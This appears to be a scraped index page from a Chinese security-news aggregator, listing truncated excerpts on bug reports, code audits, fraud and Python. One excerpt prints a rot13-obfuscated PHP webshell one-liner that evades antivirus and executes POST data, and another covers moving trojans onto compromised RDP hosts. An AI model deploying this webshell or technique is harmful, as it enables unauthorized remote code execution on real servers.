http://drops.wooyun.org/tips/5566 from:https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-a...
WooYun-Drops
WooYun-Drops
系统文档
记录一下 QQNT 的一个截图 Bug
出现情况：使用QQ截图工具进行长截图并进行编辑，完成后QQNT主界面就会整体变黑
Seay信息安全博客
代码审计：tipask问答系统2.0 ajaxsearch二次编码注入
显示不全请点击全屏阅读 Tipask问答系统是一款开放源码的PHP仿百度知道程序。以国人的使用习惯为设计理念，采用MVC构架，系统具有速度快，SEO友好，界面操作简洁明快等特点。 但是Tipask中存...
WooYun-Zone
遵循还是自创标准的困惑
（之所以发PHP是因为自己比较熟悉这个领域，而这个问题好像又没有对应的其它领域） 一年前曾经内部PK一个API参数传输方案的时候，个人不同意架构师提出的自创方案（不过原因不是安全方面），认为应当采取业...
教你如何在远程3389终端主机上直接Copy文件
很多朋友登上3389肉鸡上的时后.因为下载木马或文件经常是个头疼的问题 有些朋友利用主页来下载,也就是说用3389肉鸡的IE下载木马来运行呵呵~如果本地管理员是个高度傻瓜那没话说,如果是中度傻瓜的话,...
网络安全
网骗之风经久不衰的秘密？
网络诈骗之风愈演愈烈，这不，前两天有名高校女大学生，因为一通电话就白白丢了1000块钱。很多朋友也许会想不通，为啥有人会轻信别人电话，觉得换做高智商的自己肯定是秒杀一切，如动画中的喜羊羊一般，把灰太狼...
业界关注
让AI去骚扰用户，FB可以躺着赚钱
当李飞飞和马斯克都高举着AI民主化大旗时，我们常常思考，究竟怎样才能让每个人都享受到AI带来的益处？我们可以在每个人的手机中都放上一片AI芯片，也可以让身边所有设备都连上云端服务器，但仅仅做这些是不足...
Seay信息安全博客
PHP一句话：自写一个PHP免杀一句话 |
显示不全请点击全屏阅读 最近在写查杀的工具，整理了一些免杀的一句话，顺便自己写了个 <?php $a=str_rot13(‘nffreg’);$a($_POST);?&g...
Other
这是一个来自Rapid7的LDNS库，包含了大约5亿域名A记录. Dataset Details The dataset contains snapshots taken within a timef...
Python
Python的文件目录遍历与文件操作
经常需要检查一个“目录或文件夹”内部有没有我们想要的文件或者文件夹，就需要我们循环迭代出所有文件和子文件夹，那么如何用Python遍历文件夹目录与文件？ 遍历文件夹目录与文件 ...
